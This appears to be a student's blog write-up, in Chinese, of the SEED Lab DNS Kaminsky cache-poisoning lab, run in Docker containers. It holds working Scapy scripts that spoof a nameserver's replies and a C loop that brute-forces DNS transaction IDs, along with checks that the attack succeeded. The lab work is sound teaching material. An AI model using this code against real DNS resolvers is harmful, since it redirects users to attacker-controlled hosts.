SeedLab2.0 DNS Security

Posted by 慕念 on June 9, 2022

Task 1: Lab Environment Setup

Setup Container

启动容器:

[06/02/22]seed@VM:~/lab6$ dcbuild
[06/02/22]seed@VM:~/lab6$ dcup

这里dcup的时候出了一点小问题,因为之前的lab设置的子网也是10.9.0.0/24,所以报错overlap:

image-20220602145826807

找到教程(https://blog.csdn.net/The_Time_Runner/article/details/105210260),先用docker network ls查看docker网卡:

image-20220602150003582

再用docker network inspect <网卡id>查看具体信息,找到与subnet冲突的是哪个:

image-20220602150101093

删除冲突的网卡docker network rm <网卡id>

image-20220602150201838

之后再dcup还是产生报错:

image-20220602150230937

根据另一篇教程(https://blog.csdn.net/zhuiyunzhugang/article/details/117993059),通过两行命令停用并删除docker容器:

docker stop $(docker ps -q)
docker rm $(docker ps -aq)

image-20220602150356683

之后成功启动容器:

DNS Configuration

user-10.9.0.5

服务器10.9.0.53user-10.9.0.5的本地DNS服务器,因为user的/etc/resolv.conf配置文件中把10.9.0.53设为第一个nameserver条目。

image-20220602152030698

local-dns-server-10.9.0.53

已经部署了bind9程序,在配置文件etc/bind/named.conf中可以看到:

  • 会把所有请求域名attack32.com的转发到它的nameserver,10.9.0.153(托管在攻击者容器中)

    image-20220602152300263

查看配置文件named.conf.options

  • 将源端口号固定为33333

  • 关闭DNSSEC保护

    image-20220602152637594

    DNSSEC:

    DNSSEC采用基于公共密钥加密的数字签名,增强DNS验证强度。DNSSEC并非对DNS查询和响应本身进行加密签名,而是由数据所有者对DNS数据自身进行签名。

attacker-ns-10.9.0.153

image-20220602152844015

在攻击者的nameserver上,设有两个区域zone:

  • 攻击者的合法区域attacker32.com

    image-20220602153107806

  • 假的example.com区域

    image-20220602153130503

Test the DNS Setup

Get the IP address of ns.attacker32.com.

user-10.9.0.5环境下进行测试。

通过dig命令从DNS域名服务器查询主机地址信息。dig ns.attacker32.com

image-20220602153435303

该命令会让local DNS服务器将把请求转发给攻击者nameserver,因为local DNS服务器的配置文件中的设定,会把所有对域名attack32.com的请求转发到10.9.0.153。测试成功。

Get the IP address of www.example.com.

user-10.9.0.5环境下进行测试。

dig www.example.com,local dns收到该查询后,会把查询发送到example.com的官方nameserver(实验文档中有提到93.184.216.34是www.example.com的真实IP地址):

image-20220602154008755

` dig @ns.attacker32.com www.example.com`,希望从指定的DNS服务器(ns.attacker32.com)上进行查询,直接发给ns.attacker32.com,获得的结果与Attacker上的example.com zone文件相同:

image-20220602154233578

Attacker ns上的example.com zone文件:

Task 2: Construct DNS request

首先在user-10.9.0.5中通过nslookup命令发送DNS request包,比如nslookup www.baidu.com

nslookup命令用于查询DNS的记录,从而得到该域名的IP地址和其他信息。

nslookup与dig两个工具功能类似,都可以查询指定域名所对应的ip地址,但不同的是dig工具可以从该域名的官方dns服务器上查询到精确的权威解答,而nslookup只会得到DNS解析服务器保存在cache中的非权威解答

用wireshark抓包,该报文发给local dns(10.9.0.53):

image-20220602160321372

其中目的端口号是53,该端口是DNS域名服务器的通信端口,通常用于域名解析。

所以通过python构造与上面效果相同的DNS查询,把请求发送到目标local DNS,使得它向其他dns server发起dns查询。

task2.py:

from scapy.all import *

Qdsec = DNSQR(qname='www.example.com')	# qname:询问域名

dns = DNS(id=0xAAAA, qr=0, qdcount=1, ancount=0, nscount=0, arcount=0, qd=Qdsec)
ip = IP(dst='10.9.0.53', src='10.9.0.5')
udp = UDP(dport=53, sport=1234, chksum=0)
request = ip/udp/dns
send(request)

其中scapy的DNS函数参数解析:

  • id:Query ID

  • qr:0表示查询报文,1表示响应报文
  • qd:问题部分
  • an:回答部分
  • ns:管理机构部分
  • ar:附加信息部分

wireshark抓包,抓到的包和之前nslookup发送的包格式相同。并且由于task1测试的时候local dns中已经有了www.example.com对应ip地址的缓存,所以local dns很快就发送了DNS response包,说明成功构造了dns request:

image-20220602161238707

Task 3: Spoof DNS Replies

由于目标是example.com,所以需要伪造来自这个域名的nameserver的回复。

首先通过dig example.com ns命令找到example.com的合法nameserver的IP地址:

image-20220602163227561

从中可以看到,查询到能解析example.com的授权服务器是a.iana-servers.netb.iana-servers.net,他们的ip地址都是199.43.135.53

用python构造DNS response。task3.py:

from scapy.all import *

name = 'www.example.com'
domain = 'example.com'
ns = 'ns.attacker32.com'	# attacker nameserver

Qdsec = DNSQR(qname=name)
Anssec = DNSRR(rrname=name, type='A', rdata='1.2.3.4', ttl=259200)
NSsec = DNSRR(rrname=domain, type='NS', rdata=ns, ttl=259200)
# aa:表示授权回答(authoritative answer)

dns = DNS(id=0xAAAA, aa=1, rd=1, qr=1, qdcount=1, ancount=1, nscount=1, arcount=0, qd=Qdsec, an=Anssec, ns=NSsec)	
# 伪造源地址是example.com的合法nameserver的IP地址

ip = IP(dst='10.9.0.53', src='199.43.135.53')
# dport是local dns设置的固定端口号33333,sport是DNS server的通信端口53

udp = UDP(dport=33333, sport=53, chksum=0)	

reply = ip/udp/dns

send(reply)

wireshark成功抓到包并解析:

image-20220602165214171

Task 4: Launch the Kaminsky Attack

Kaminsky攻击的原理:发送多个不存在的域名请求(如twysw.example.com),此时DNS服务器会向其权威服务器请求,此时攻击者发送大量伪造的DNS回应,并猜测transaction ID,在权威服务器回应之前到达,如果猜对transaction ID的话,就能成功写入local DNS缓存了。

几个要点:

  1. 发送多个不存在的域名请求:是因为如果一次攻击失败了,那么local DNS缓存中就写入了正确的DNS记录,此时再次对同一个域名请求,就不会查询而直接发回缓存了,所以用每次不同的域名进行多轮尝试
  2. transaction ID只有16位,所以通过大量猜测能成功
  3. 写入的时候在权威字段加入攻击者的权威服务器,对整个域进行攻击(An会被cache,当ad和an在同一个domain(2级域名)下时,也会被cache)

由于在Kaminsky attack中速度至关重要,攻击者能发送的数据包越多,成功率就越高,所以使用Scapy和C的混合方法,先用Python生成包的模板,再通过C对指定偏移进行修改。

req.py

首先类似task2,使用Scapy生成一个DNS request模板,把包存储在文件ip_req.bin中。task4_req.py

from scapy.all import *
# C will modify the qname

Qdsec = DNSQR(qname='aaaaa.example.com') 
# C will modify the id

dns = DNS(id=0xAAAA, qr=0, qdcount=1, ancount=0, nscount=0, arcount=0, qd=Qdsec)    

ip = IP(src='10.9.0.5', dst='10.9.0.53')	# dst: local dns

udp = UDP(dport=53, sport=1234, chksum=0)
request = ip/udp/dns

with open('ip_req.bin','wb')as f:
    f.write(bytes(request))

python3 task4_req.py生成ip_req.bin,用二进制编辑器打开文件,查看域名的偏移是0x29,即41。

image-20220602203330121

resp.py

然后再仿照task3,使用Scapy构造DNS response模板,把包存储在文件ip_resp.bin中。task4_resp.py

from scapy.all import *

name = 'aaaaa.example.com'
domain = 'example.com'
ns = 'ns.attacker32.com'
Qdsec = DNSQR(qname=name)   # C will modify the qname

# Answer section

Anssec = DNSRR(rrname=name, type='A', rdata='1.2.3.4', ttl=259200) 
# Authority section

NSsec = DNSRR(rrname=domain, type='NS', rdata=ns, ttl=259200)   
# C will modify the id

dns = DNS(id=0xAAAA, aa=1, rd=1, qr=1, qdcount=1, ancount=1, nscount=1, arcount=0, qd=Qdsec, an=Anssec, ns=NSsec)   
ip = IP(dst='10.9.0.53', src='199.43.135.53')
udp = UDP(dport=33333, sport=53, chksum=0)
reply = ip/udp/dns

with open('ip_resp.bin','wb') as f:
    f.write(bytes(reply))

python3 task4_resp.py生成ip_resp.bin,用二进制编辑器打开文件,查看域名的偏移分别是0x290x40,即41和64(因为在query和answer字段都有,所以有两处要修改)。transaction ID在固定的位置,偏移是28。

image-20220609142103208

attack.c

将模板加载到C程序attack.c中,并找到qnameid两个字段的偏移,对它们进行更改,然后发送数据包。

send_dns_request(),只需要修改一处qname字段,修改后调用send_raw_packet发包:

// Use for sending DNS request.
// Add arguments to the function definition if needed.

void send_dns_request(char *ip_req, int pkt_size, char *name)
{
  // Modify the name in the question field (offset=41)
  memcpy(ip_req + 41, name, 5);
  send_raw_packet(ip_req, pkt_size);
}

send_dns_response(),需要修改三处:

  • question section中的qname
  • answer section中的qname
  • transaction ID,transaction ID只有16位,所以写0-65535的循环遍历
// Use for sending forged DNS response.
// Add arguments to the function definition if needed.

void send_dns_response(char *ip_resp, int pkt_size, char *name)
{
  // Modify the name in the question field (offset=41)
  memcpy(ip_resp + 41, name, 5);
  // Modify the name in the answer field (offset=64)
  memcpy(ip_resp + 64, name, 5);

  // Modify the transaction ID field (offset=28)
  unsigned short id;
  for (long i = 0; i < 65536; i++)
  {
    id = htons(i);	// 将一个无符号短整型数值转换为网络字节序,即大端模式(big-endian)
    memcpy(ip_resp + 28, &id, 2);
    send_raw_packet(ip_resp, pkt_size);
  }
}

mainwhile循环,调用之前写好的两个函数:

  while (1)
  {
    // Generate a random name with length 5
    char name[5];
    for (int k = 0; k < 5; k++)
      name[k] = a[rand() % 26];

    name[5] = '\0';
	//##################################################################
	// Step 1. 
	// Send a DNS request to the targeted local DNS server.
	// This will trigger the DNS server to send out DNS queries 

    send_dns_request(ip_req, n_req, name);
    printf("attempt #%ld. request is [%s.example.com]\n", i++, name);

	// Step 2. 
	// Send many spoofed responses to the targeted local DNS server,
	// each one with a different transaction ID. 

    send_dns_response(ip_resp, n_resp, name);

    //##################################################################
  }

运行:(这里一开始运行attack时没有sudo,导致无法发包)

image-20220602222252906

登入local dns通过rndc dumpdb -cache && grep attacker /var/cache/bind/dump.db命令查看伪造的response是否被成功cache:

image-20220602222356433

Task 5: Result Verifification

` dig www.example.com`,向local DNS发起查询请求,由于攻击成功,在local DNS服务器的DNS cache中,example.com的NS记录将变成ns.attacker32.com。当local DNS接收到针对example.com域内任何主机名的DNS查询时,它将向ns.attacker32.com发送一个查询,而不是发送到该域的合法nameserver。

image-20220602224744048

这时通过wireshark抓包,一共抓到4个包:

image-20220602225941489

  • 第1个包:user向local dns发送DNS request包,询问www.example的ip地址。

    image-20220602230036983

  • 第2个包:local dns向attacker nameserver发送DNS request包。因为攻击成功,在local DNS服务器的DNS cache中,example.com的NS记录将变成ns.attacker32.com。当local DNS接收到针对example.com域内任何主机名的DNS查询时,它将向ns.attacker32.com发送一个查询。

    image-20220602230220867

  • 第3个包:attacker nameserver向local dns发回DNS response包。回复的ip地址1.2.3.5是attacker nameserver中设置的虚假的example.com zone。

    image-20220602230434164

  • 第4个包:local dns向user发回DNS response包,返回它收到的地址1.2.3.5

    image-20220602230656598

dig @ns.attacker32.com www.example.com,直接向attacker nameserver询问,获得的答案和上面一样,说明攻击成功。

image-20220602224938211